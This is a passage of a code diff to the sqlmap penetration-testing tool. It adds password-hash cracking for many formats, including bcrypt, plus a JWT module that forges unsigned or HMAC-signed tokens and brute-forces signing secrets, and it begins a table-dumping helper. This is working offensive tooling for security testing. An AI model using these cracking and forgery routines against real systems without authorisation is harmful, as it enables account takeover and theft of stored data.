HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, HASH.ORACLE: oracle_passwd, + HASH.ORACLE_12C: oracle_12c_passwd, HASH.ORACLE_OLD: oracle_old_passwd, HASH.MD5_GENERIC: md5_generic_passwd, HASH.SHA1_GENERIC: sha1_generic_passwd, @@ -572,9 +793,16 @@ def _encode64(input_, count): HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: crypt_generic_passwd, + HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd, + HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd, + HASH.BCRYPT: bcrypt_passwd, + HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd, HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, + HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd, + HASH.ASPNET_IDENTITY: aspnet_identity_passwd, + HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd, HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, @@ -591,6 +819,45 @@ def _encode64(input_, count): HASH.SHA512_BASE64: sha512_generic_passwd, } +if _scrypt is not None: + __functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd + +# hashcat '-m' mode per recognized hash format (Reference: https://hashcat.net/wiki/doku.php?id=example_hashes); +# used to point the user at the right command when hashes are stored or cannot be cracked in pure Python +# (e.g. Argon2). Only well-established modes are listed - a format left out just gets the generic hint +HASHCAT_MODES = { + HASH.ARGON2: 34000, + HASH.MYSQL_OLD: 200, + HASH.MYSQL: 300, + HASH.POSTGRES: 12, + HASH.MSSQL_OLD: 131, + HASH.MSSQL: 132, + HASH.MSSQL_NEW: 1731, + HASH.ORACLE_OLD: 3100, + HASH.ORACLE: 112, + HASH.ORACLE_12C: 12300, + HASH.MD5_GENERIC: 0, + HASH.SHA1_GENERIC: 100, + HASH.SHA224_GENERIC: 1300, + HASH.SHA256_GENERIC: 1400, + HASH.SHA384_GENERIC: 10800, + HASH.SHA512_GENERIC: 1700, + HASH.CRYPT_GENERIC: 1500, + HASH.APACHE_SHA1: 101, + HASH.SSHA: 111, + HASH.SSHA256: 1411, + HASH.SSHA512: 1711, + HASH.UNIX_MD5_CRYPT: 500, + HASH.APACHE_MD5_CRYPT: 1600, + HASH.SHA256_UNIX_CRYPT: 7400, + HASH.SHA512_UNIX_CRYPT: 1800, + HASH.BCRYPT: 3200, + HASH.PHPASS: 400, + HASH.VBULLETIN: 2611, + HASH.DJANGO_SHA1: 124, + HASH.DJANGO_PBKDF2_SHA256: 10000, +} + def _finalize(retVal, results, processes, attack_info=None): if _multiprocessing: gc.enable() @@ -616,7 +883,7 @@ def _finalize(retVal, results, processes, attack_info=None): removals.add((user, hash_)) hashDBWrite(hash_, word) - for item in attack_info or []: + for item in list(attack_info or []): if (item[0][0], item[0][1]) in removals: attack_info.remove(item) @@ -631,12 +898,18 @@ def storeHashesToFile(attack_dict): return items = OrderedSet() + regexes = set() for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ - if hash_ and hash_ != NULL and hashRecognition(hash_): - item = None + if hash_ and hash_ != NULL: + regex = hashRecognition(hash_) + if not regex: + continue + + regexes.add(regex) + if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user, hash_) else: @@ -665,6 +938,12 @@ def storeHashesToFile(attack_dict): except (UnicodeError, TypeError): pass + modes = sorted(set(HASHCAT_MODES[_] for _ in regexes if _ in HASHCAT_MODES)) + if modes: + infoMsg = "the stored hashes can be cracked with a dedicated tool " + infoMsg += "(e.g. %s)" % ", ".join("'hashcat -m %d'" % _ for _ in modes) + logger.info(infoMsg) + def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: results = dictionaryAttack(kb.data.cachedUsersPasswords) @@ -792,6 +1071,10 @@ def hashRecognition(value): True >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE True + >>> hashRecognition("$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0") == HASH.PHPASS + True + >>> hashRecognition("$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W") == HASH.PHPASS + True >>> hashRecognition("foobar") == None True """ @@ -808,9 +1091,6 @@ def hashRecognition(value): # Hashes for Oracle and old MySQL look the same hence these checks if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): - continue else: parts.append("(?P<%s>%s)" % (name, regex)) @@ -822,6 +1102,10 @@ def hashRecognition(value): algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] retVal = getattr(HASH, algorithm) + # Note: greedy CRYPT_GENERIC requires a mixed-case value to reduce false positives + if retVal == HASH.CRYPT_GENERIC and any((value.lower() == value, value.upper() == value)): + retVal = None + return retVal def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api): @@ -850,7 +1134,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc word = word + suffix try: - current = __functions__[hash_regex](password=word, uppercase=False) + current = __functions__[hash_regex](password=getBytes(word, unsafe=False), uppercase=False) if current in hashes: for item in attack_info[:]: @@ -898,6 +1182,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -927,7 +1212,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found word = word + suffix try: - current = __functions__[hash_regex](password=word, uppercase=False, **kwargs) + current = __functions__[hash_regex](password=getBytes(word, unsafe=False), uppercase=False, **kwargs) if hash_ == current: if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes @@ -977,6 +1262,91 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found pass finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) + if hasattr(proc_count, "value"): + with proc_count.get_lock(): + proc_count.value -= 1 + +def _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, proc_id, proc_count, wordlists, custom_wordlist, api, deadline): + # Candidate-major crack for the very slow, per-hash-salted algorithms (bcrypt): the OUTER loop is the + # candidate word (partitioned across processes) and the INNER loop is every still-unsolved hash, each + # verified with its own salt. Trying the most common passwords against ALL hashes first means a weak + # account anywhere in a dumped table is found in the first rounds - a hash-major loop would instead grind + # the whole wordlist on row 1 before ever testing row 2. Bounded by `deadline` so hundreds of separately + # salted hashes can't become an hours-long run; whatever is left is meant for a dedicated tool. + if IS_WIN: + coloramainit() + + count = 0 + rotator = 0 + remaining = attack_info[:] # per-process (post-fork) copy; shrinks as this process solves hashes + + wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist) + + try: + for word in wordlist: + if not remaining or time.time() > deadline: + break + + count += 1 + + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): + continue + + if suffix: + word = word + suffix + + for item in remaining[:]: + ((user, hash_), kwargs) = item + + try: + current = __functions__[hash_regex](password=getBytes(word, unsafe=False), uppercase=False, **kwargs) + + if hash_ == current: + retVal.put((user, hash_, word)) + + clearConsoleLine() + + infoMsg = "\r[%s] [INFO] cracked password '%s'" % (time.strftime("%X"), word) + + if user and not user.startswith(DUMMY_USER_PREFIX): + infoMsg += " for user '%s'\n" % user + else: + infoMsg += " for hash '%s'\n" % hash_ + + dataToStdout(infoMsg, True) + + remaining.remove(item) + + except KeyboardInterrupt: + raise + + except (UnicodeEncodeError, UnicodeDecodeError): + pass # ignore possible encoding problems caused by some words in custom dictionaries + + except Exception as ex: + warnMsg = "there was a problem while hashing entry: %s ('%s'). " % (repr(word), getSafeExString(ex)) + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS + logger.critical(warnMsg) + + if (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0: + rotator += 1 + + if rotator >= len(ROTATING_CHARS): + rotator = 0 + + status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator]) + + if not api: + dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status)) + + except KeyboardInterrupt: + pass + + finally: + wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file) if hasattr(proc_count, "value"): with proc_count.get_lock(): proc_count.value -= 1 @@ -1023,9 +1393,15 @@ def dictionaryAttack(attack_dict): regex = hashRecognition(hash_) if regex and regex not in hash_regexes: - hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].__name__ - logger.info(infoMsg) + if regex in __functions__: + hash_regexes.append(regex) + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ + logger.info(infoMsg) + else: + warnMsg = "sqlmap identified a hash that cannot be cracked with the built-in dictionary attack" + if regex in HASHCAT_MODES: + warnMsg += " (use e.g. 'hashcat -m %d')" % HASHCAT_MODES[regex] + singleTimeWarnMessage(warnMsg) for hash_regex in hash_regexes: keys = set() @@ -1043,11 +1419,11 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): - item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] + item = [(user, encodeHex(decodeBase64(hash_, binary=True), binary=False)), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 hash_ = hash_[2:] @@ -1062,16 +1438,40 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] + elif hash_regex in (HASH.ORACLE_12C,): + item = [(user, hash_), {"salt": hash_[-32:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT): + item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}] + elif hash_regex in (HASH.BCRYPT,): + item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}] + elif hash_regex in (HASH.WORDPRESS_BCRYPT,): + item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}] + elif hash_regex in (HASH.ASPNET_IDENTITY,): + _ = decodeBase64(hash_, binary=True) + prf, iterations, saltlen = struct.unpack(">III", _[1:13]) + item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}] + elif hash_regex in (HASH.MYSQL_SHA2,): + _ = hash_.split('*') + item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] + elif hash_regex in (HASH.DJANGO_PBKDF2_SHA256,): + item = [(user, hash_), {"salt": hash_.split('$')[2], "iterations": int(hash_.split('$')[1])}] + elif hash_regex in (HASH.POSTGRES_SCRAM,): + item = [(user, hash_), {"salt": hash_.split('$')[1].split(':')[1], "iterations": int(hash_.split('$')[1].split(':')[0])}] + elif hash_regex in (HASH.WERKZEUG_PBKDF2,): + item = [(user, hash_), {"salt": hash_.split('$')[1], "iterations": int(hash_.split('$')[0].split(':')[2]), "digestmod": hash_.split('$')[0].split(':')[1]}] + elif hash_regex in (HASH.WERKZEUG_SCRYPT,): + _ = hash_.split('$')[0].split(':') + item = [(user, hash_), {"salt": hash_.split('$')[1], "N": int(_[1]), "r": int(_[2]), "p": int(_[3])}] elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] @@ -1081,7 +1481,7 @@ def dictionaryAttack(attack_dict): if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) - if not resumed: + if resumed is None: attack_info.append(item) user_hash.append(item[0]) else: @@ -1098,11 +1498,21 @@ def dictionaryAttack(attack_dict): if not attack_info: continue - if not kb.wordlists: + # the pure-Python bcrypt is so slow (seconds per candidate) that even the small dictionary would take + # many hours; it uses the built-in COMMON_PASSWORDS list (no file), tried candidate-major under a time + # budget below, and points at a dedicated tool for anything beyond it + if hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + warnMsg = "bcrypt hashing is very slow in pure Python; trying only the most common passwords. " + warnMsg += "For an exhaustive attack use a dedicated tool" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + singleTimeWarnMessage(warnMsg) + + elif not kb.wordlists: while not kb.wordlists: - # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): + # the slowest of the remaining methods hence smaller default dict + if hash_regex in (HASH.ORACLE_OLD, HASH.ORACLE_12C, HASH.PHPASS, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.WERKZEUG_SCRYPT, HASH.MYSQL_SHA2): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -1217,6 +1627,73 @@ def dictionaryAttack(attack_dict): clearConsoleLine() + # bcrypt is minutes-per-candidate in pure Python and every hash is separately salted (no shared + # work), so a whole table's worth would run for hours; crack candidate-major (most common passwords + # against all hashes first) under a wall-clock budget, then leave the rest for a dedicated tool + elif hash_regex in (HASH.BCRYPT, HASH.WORDPRESS_BCRYPT): + deadline = time.time() + HASH_ATTACK_TIME_LIMIT + bcryptWordlist = list(COMMON_PASSWORDS) + custom_wordlist # built-in list (+usernames), no file + + for suffix in suffix_list: + if not attack_info or processException or time.time() > deadline: + break + + if suffix: + clearConsoleLine() + infoMsg = "using suffix '%s'" % suffix + logger.info(infoMsg) + + retVal = None + processes = [] + + try: + if _multiprocessing: + if _multiprocessing.cpu_count() > 1: + infoMsg = "starting %d processes " % _multiprocessing.cpu_count() + singleTimeLogMessage(infoMsg) + + gc.disable() + + retVal = _multiprocessing.Queue() + count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) + + for i in xrange(_multiprocessing.cpu_count()): + process = _multiprocessing.Process(target=_bruteProcessVariantSalted, args=(attack_info, hash_regex, suffix, retVal, i, count, [], bcryptWordlist, conf.api, deadline)) + processes.append(process) + + for process in processes: + process.daemon = True + process.start() + + while count.value > 0: + time.sleep(0.5) + + else: + warnMsg = "multiprocessing hash cracking is currently " + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") + singleTimeWarnMessage(warnMsg) + + retVal = _queue.Queue() + _bruteProcessVariantSalted(attack_info, hash_regex, suffix, retVal, 0, 1, [], bcryptWordlist, conf.api, deadline) + + except KeyboardInterrupt: + print() + processException = True + warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" + logger.warning(warnMsg) + + finally: + _finalize(retVal, results, processes, attack_info) + + clearConsoleLine() + + if attack_info and not processException: # _finalize() drops solved hashes, so any left are uncracked + warnMsg = "%d bcrypt hash(es) not cracked with common passwords; " % len(attack_info) + warnMsg += "use a dedicated tool for an exhaustive attack" + if hash_regex in HASHCAT_MODES: + warnMsg += " (e.g. 'hashcat -m %d')" % HASHCAT_MODES[hash_regex] + logger.warning(warnMsg) + else: for ((user, hash_), kwargs) in attack_info: if processException: diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index e7a88fc22cd..c15389519a3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -16,6 +16,7 @@ from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import RecursionError from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getUnicode @@ -106,7 +107,7 @@ def retrieve(self, key, unserialize=False): if retVal is None: retVal = self._read_cache.get(hash_) - if not retVal: + if retVal is None: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): @@ -144,9 +145,13 @@ def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) with self._cache_lock: - self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) - cache_size = len(self._write_cache) - time_since_flush = time.time() - self._last_flush_time + try: + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + except RecursionError: + pass + finally: + cache_size = len(self._write_cache) + time_since_flush = time.time() - self._last_flush_time if cache_size >= HASHDB_FLUSH_THRESHOLD_ITEMS or time_since_flush >= HASHDB_FLUSH_THRESHOLD_TIME: self.flush() @@ -160,8 +165,9 @@ def flush(self): self._write_cache = {} self._last_flush_time = time.time() + began = False try: - self.beginTransaction() + began = self.beginTransaction() for hash_, value in flush_cache.items(): retries = 0 while True: @@ -192,23 +198,30 @@ def flush(self): else: break finally: - self.endTransaction() + # Only close a transaction we actually opened; when flush() runs nested inside an + # outer batch (e.g. lib/utils/hash.py wrapping cracked-password writes) beginTransaction() + # returns False and the outer owner keeps ownership - ending it here would commit it early + if began: + self.endTransaction() def beginTransaction(self): threadData = getCurrentThreadData() - if not threadData.inTransaction: + if threadData.inTransaction: + return False # already inside an (outer) transaction; do not nest + + try: + self.cursor.execute("BEGIN TRANSACTION") + except Exception: # Note: deliberately not bare - a KeyboardInterrupt here must propagate try: - self.cursor.execute("BEGIN TRANSACTION") - except: - try: - # Reference: http://stackoverflow.com/a/25245731 - self.cursor.close() - except sqlite3.ProgrammingError: - pass - threadData.hashDBCursor = None - self.cursor.execute("BEGIN TRANSACTION") - finally: - threadData.inTransaction = True + # Reference: http://stackoverflow.com/a/25245731 + self.cursor.close() + except sqlite3.ProgrammingError: + pass + threadData.hashDBCursor = None + self.cursor.execute("BEGIN TRANSACTION") + + threadData.inTransaction = True # set only on a genuine BEGIN (not if the retry above raised) + return True def endTransaction(self): threadData = getCurrentThreadData() diff --git a/lib/utils/jwt.py b/lib/utils/jwt.py new file mode 100644 index 00000000000..c000d839b05 --- /dev/null +++ b/lib/utils/jwt.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import hashlib +import hmac +import json +import re + +from lib.core.convert import decodeBase64 +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty import six + +# a compact JSON Web Token: base64url(header).base64url(payload).base64url(signature); a header always starts +# with '{"' which base64url-encodes to the literal prefix 'eyJ', so this matches JWTs embedded in a larger value +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# keyed-hash algorithms sqlmap can both verify (crack) and forge offline +HMAC_ALGORITHMS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + +def encodeSegment(value): + return encodeBase64(json.dumps(value, separators=(',', ':')), binary=False, safe=True) + +def parseJWT(token): + """Split and decode a JWT into its header/payload/signature parts (None if it is not a well-formed JWT). + + >>> data = parseJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.") + >>> data["header"]["alg"] == "none" and data["payload"]["user"] == "admin" + True + >>> parseJWT("not.a.jwt") is None + True + """ + + if not token or token.count('.') != 2: + return None + + header, payload, signature = token.split('.') + + try: + header = json.loads(decodeBase64(header, binary=False)) + payload = json.loads(decodeBase64(payload, binary=False)) + except Exception: + return None + + if not isinstance(header, dict) or not isinstance(header.get("alg"), six.string_types): + return None + + return {"header": header, "payload": payload, "signature": signature, "signingInput": token.rsplit('.', 1)[0], "raw": token} + +def findJWTs(value): + """Return every well-formed JWT found inside an arbitrary value (e.g. a Cookie/Authorization header).""" + + return [match.group(0) for match in re.finditer(JWT_REGEX, value or "") if parseJWT(match.group(0))] + +def forgeJWT(header, payload, key=None): + """Re-encode a (possibly tampered) header/payload, signing with 'key' for an HMAC 'alg' or leaving the + signature empty for 'alg':'none' - the primitive behind the alg:none and weak-secret exploitation paths. + + >>> forgeJWT({"alg": "none"}, {"user": "admin"}).endswith('.') + True + >>> parseJWT(forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="secret"))["payload"]["user"] == "admin" + True + """ + + alg = (header.get("alg") or "none") + signingInput = "%s.%s" % (encodeSegment(header), encodeSegment(payload)) + + if alg.lower() == "none": + signature = "" + elif alg.upper() in HMAC_ALGORITHMS and key is not None: + digest = hmac.new(getBytes(key), getBytes(signingInput), HMAC_ALGORITHMS[alg.upper()]).digest() + signature = encodeBase64(digest, binary=False, safe=True) + else: + raise ValueError("unsupported algorithm '%s' for forging" % alg) + + return "%s.%s" % (signingInput, signature) + +def crackHMAC(token, secrets, limit=None): + """Try to recover the HMAC signing secret of an HS* token from an iterable of candidate secrets; returns + the secret on success (a full forgery primitive), else None. Purely offline - no requests. + + >>> token = forgeJWT({"alg": "HS256"}, {"user": "admin"}, key="s3cr3t") + >>> crackHMAC(token, ["admin", "s3cr3t", "letmein"]) + 's3cr3t' + >>> crackHMAC(token, ["admin", "letmein"]) is None + True + >>> crackHMAC("eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.x", ["secret"]) is None + True + """ + + data = parseJWT(token) + if not data or (data["header"].get("alg") or "").upper() not in HMAC_ALGORITHMS: + return None + + fn = HMAC_ALGORITHMS[data["header"]["alg"].upper()] + signingInput = getBytes(data["signingInput"]) + + try: + target = decodeBase64(data["signature"], binary=True) + except Exception: + # a signature segment that is not valid base64url (e.g. a truncated/malformed token that still + # matches the JWT pattern) cannot be an HMAC we could verify, so it is simply not crackable + return None + + for index, secret in enumerate(secrets): + if limit is not None and index >= limit: + break + secret = secret.strip() if hasattr(secret, "strip") else secret + if hmac.new(getBytes(secret), signingInput, fn).digest() == target: + return getText(secret) + + return None + +def auditJWT(token, secrets=None, crackLimit=None): + """Offline heuristic battery over a single JWT - the 'bad JWT setup' checks that bite in the real world and + CTFs. Returns findings as (id, severity, summary, detail); online oracle checks (does the server ACCEPT an + alg:none / bit-flipped / expired forgery) are layered on top by the caller, which owns response comparison. + + >>> sorted(_[0] for _ in auditJWT("eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.")) + ['alg-none', 'no-expiry'] + """ + + findings = [] + data = parseJWT(token) + if not data: + return findings + + header, payload = data["header"], data["payload"] + alg = (header.get("alg") or "").strip() + + # an unsigned token that the app already issued means forged claims need no key at all + if alg.lower() == "none" or data["signature"] == "": + findings.append(("alg-none", "critical", "token declares alg '%s' (unsigned)" % (alg or "none"), "claims can be forged with no key")) + + # a guessable HMAC secret is a full forgery primitive - crack it against the provided dictionary + if alg.upper() in HMAC_ALGORITHMS and secrets is not None: + secret = crackHMAC(token, secrets, crackLimit) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed")) + + # an asymmetric token may be vulnerable to RS/HS confusion if the public key is retrievable + if alg.upper().startswith(("RS", "ES", "PS")): + findings.append(("alg-confusion", "info", "asymmetric algorithm '%s'" % alg, "test RS/HS confusion if the public key is obtainable (JWKS/TLS)")) + + # header fields that pull in attacker-controllable key material (CVE-2018-0114 class) + for field in ("jku", "x5u", "jwk", "x5c"): + if field in header: + findings.append(("header-key-injection", "high", "header carries '%s'" % field, "attacker-hosted key material may be trusted")) + + # 'kid' commonly feeds a key lookup (file/DB/command) - a natural injection point + if "kid" in header: + findings.append(("kid-injection", "info", "header carries 'kid'", "candidate injection point (SQLi/LFI/path/command via key lookup)")) + + if isinstance(payload, dict) and "exp" not in payload: + findings.append(("no-expiry", "high", "no 'exp' claim", "token does not expire")) + + return findings diff --git a/lib/utils/keysetdump.py b/lib/utils/keysetdump.py new file mode 100644 index 00000000000..3a2cb431d68 --- /dev/null +++ b/lib/utils/keysetdump.py @@ -0,0 +1,345 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import isNoneValue +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.settings import NULL +from lib.core.unescaper import unescaper +from lib.request import inject +from lib.utils.safe2bin import safechardecode + +# back-end DBMSes whose dump table reference is schema/database-qualified (db.table). +# Note: for MSSQL the table identifier already carries its schema (e.g. dbo.users), so the +# plain db.table form yields the correct db.schema.table (e.g. [master].dbo.users). +KEYSET_SCHEMA_QUALIFIED = (DBMS.MYSQL, DBMS.PGSQL, DBMS.CRATEDB, DBMS.MSSQL, DBMS.H2, DBMS.HSQLDB) + +def _tableRef(tbl): + dbms = Backend.getIdentifiedDbms() + if dbms in (DBMS.ORACLE,) and conf.db: + return "%s.%s" % (conf.db.upper(), tbl.upper()) + if dbms in KEYSET_SCHEMA_QUALIFIED and conf.db: + return "%s.%s" % (conf.db, tbl) + return tbl + +def keysetSupported(): + """ + Whether the back-end DBMS declares the keyset (seek) pagination queries and a + cursor source (a physical row-id pseudo-column or a primary-key catalog lookup) + """ + + dumpNode = queries[Backend.getIdentifiedDbms()].dump_table + return "keyset_next" in dumpNode.blind and ("rowid" in dumpNode.blind or "primary_key" in dumpNode) + +def _integerCursor(tbl, cursor): + """ + Whether every cursor column holds integer values, probed via MIN(col). + + Only integer keys are accepted: _embed() emits them as bare numeric literals, giving a + numeric comparison that matches MIN/ORDER BY. String (and even decimal) keys would be + escaped to a binary/hex literal whose order can differ from MIN's collation and silently + skip rows, so they are rejected here and fall back to the OFFSET dump. + """ + + blind = queries[Backend.getIdentifiedDbms()].dump_table.blind + ref = _tableRef(tbl) + + for column in cursor: + query = agent.whereQuery(blind.keyset_first % (agent.preprocessField(tbl, column), ref)) + value = unArrayizeValue(inject.getValue(query)) + + # empty/NULL MIN (e.g. empty table) is not disqualifying; the walk just yields no rows + if not isNoneValue(value) and re.match(r"\A-?[0-9]+\Z", getUnicode(value).strip()) is None: + return False + + return True + +def resolveKeysetCursor(tbl, colList): + """ + Returns the list of column(s) forming a stable, indexed cursor for keyset (seek) + pagination of the table: a declared physical row-id pseudo-column when available, + otherwise the indexed primary key (single or composite) resolved from the catalog. + Returns None when neither applies or a key column is not part of the 